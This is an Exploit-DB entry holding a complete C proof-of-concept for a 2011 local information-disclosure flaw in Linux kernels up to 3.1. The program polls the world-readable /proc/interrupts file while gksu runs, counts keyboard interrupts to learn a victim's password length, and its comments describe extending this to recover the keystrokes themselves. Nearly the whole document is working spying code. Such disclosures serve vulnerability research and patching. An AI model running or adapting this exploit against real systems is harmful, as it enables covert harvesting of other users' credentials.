Exploit-DB #36294
Description: Linux Kernel 3.0.4 - '/proc/interrupts' Password Length Local Information Disclosure
Type: local
Platform: linux
Date: 2011-11-07
Author: Vasiliy Kulikov

Exploit:
/*
source: https://www.securityfocus.com/bid/50573/info

The Linux kernel is prone to a local information-disclosure weakness.

Successful exploits allow local attackers to obtain the password length of a victim's account; information harvested may aid in further attacks.

Linux kernel 3.1 and prior are vulnerable. 
*/


/*
 * A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
 * 
 * The file /proc/interrupts is world readable.  It contains information
 * about how many interrupts were emitted since the system boot.  We may loop
 * on one CPU core while the victim is executed on another, and learn the length
 * of victim's passord via monitoring emitted interrupts' counters of the keyboard
 * interrupt.  The PoC counts only keystrokes number, but it can be easily extended
 * to note the delays between the keystrokes and do the statistical analysis to
 * learn the precise input characters.
 * 
 * The limitations:
 *   - it works on 2-core CPUs only.
 *   - it works on 1-keyboard systems only.
 *   - it doesn't carefully count the first and last keystrokes (e.g. ENTER after
 *     the password input).
 *   - it doesn't carefully filter keystrokes after ENTER.
 * 
 * by segoon from Openwall
 *
 * run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
 *
 * P.S.  The harm of 0444 /proc/interrupts is known for a long time, but I
 * was told about this specific attack vector by Tavis Ormandy just after similar
 * PoC spy-sched was published.
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <string.h>


int i8042_number;
int ints[1024], ints_prev[1024], ints_delta[1024];

char buffer[1024];

int reread_ints(int *interrupts, int int_count, char **names)
{
    int i;
    int n, c1, c2;
    char s1[1024], s2[1024];

    int interrupts_fd;
    FILE *interrupts_file;

    interrupts_fd = open("/proc/interrupts", O_RDONLY);
    if (interrupts_fd == -1)
        err(1, "open(\"/proc/interrupts\")");

    interrupts_file = fdopen(interrupts_fd, "r");
    if (interrupts_file == NULL)
        err(1, "fdopen");

    if (fseek(interrupts_file, 0, SEEK_SET) < 0)
        err(1, "lseek");

    fgets(buffer, sizeof(buffer), interrupts_file);

    for (i = 0; i < int_count; i++) {
        if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
            fclose(interrupts_file);
            return i;
        }

        if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
            fclose(interrupts_file);
            return i;
        }

        if (names != NULL && names[i] == NULL)
            names[i] = strdup(s2);

        interrupts[i] = c1 + c2;
    }

    fclose(interrupts_file);
    return int_count;
}

void init_i8042_number(void)
{
    int i;
    int can_be_keyboard[1024];
    char *names[1024];
    int number_of_interrups, can_be_keyboard_numbers;

    number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);

    /*
     * Identify the i8042 interrupt associated with the keyboard by:
     * 1) name should be i8042
     * 2) interrupts count emitted in one second shouldn't be more than 100
     */
    for (i = 0; i < number_of_interrups; i++)
        can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;

    while (1) {
        sleep(1);
        reread_ints(ints, sizeof(ints), NULL);

        can_be_keyboard_numbers = 0;
        for (i = 0; i < number_of_interrups; i++) {
            can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
            if (can_be_keyboard[i])
                can_be_keyboard_numbers++;

            ints_prev[i] = ints[i];
        }

        if (can_be_keyboard_numbers == 1) {
            for (i = 0; i < number_of_interrups; i++)
                if (can_be_keyboard[i]) {
                    i8042_number = i;
                    printf("i8042 keyboard is #%d\n", i);
                    return;
                }
        }
    }
}

int i8042_read(void)
{
    reread_ints(ints, sizeof(ints), NULL);
    ints_prev[i8042_number] = ints[i8042_number];

    return ints[i8042_number];
}

int wait_for_program(char *pname)
{
    FILE *f;
    int pid;
    char s[1024];

    snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
           " sleep 0.1; done", pname);
    system(s);
    snprintf(s, sizeof(s), "pgrep %s", pname);
    f = popen(s, "r");
    if (f == NULL)
        err(1, "popen");

    if (fgets(buffer, sizeof(buffer), f) == NULL)
        err(1, "fgets");

    if (sscanf(buffer, "%d", &pid) < 1)
        err(1, "sscanf");

    pclose(f);

    return pid;
}

int main(int argc, char *argv[])
{
    int n, old, sum, i;
    int pid;
    char *pname = argv[1];

    if (argc < 2)
        errx(1, "usage: spy-interrupts gksu");

    puts("Waiting for mouse activity...");
    init_i8042_number();

    pid = wait_for_program(pname);
    printf("%s is %d\n", pname, pid);

    old = i8042_read();

    sum = 0;

    while (1) {
        n = i8042_read();
        if (old == n)
            usleep(10000);
        else {
            for (i = 0; i < n-old; i++)
                putchar('.');
            fflush(stdout);
        }

        sum += n - old;
        old = n;

        if (kill(pid, 0) < 0 && errno == ESRCH)
            break;
    }

    /*
     * #interrupts == 2 * #keystrokes.  
     * #keystrokes = len(password) - 1  because of ENTER after the password.
     */
    printf("\n%d keystrokes\n", (sum-2)/2);

    return 0;
}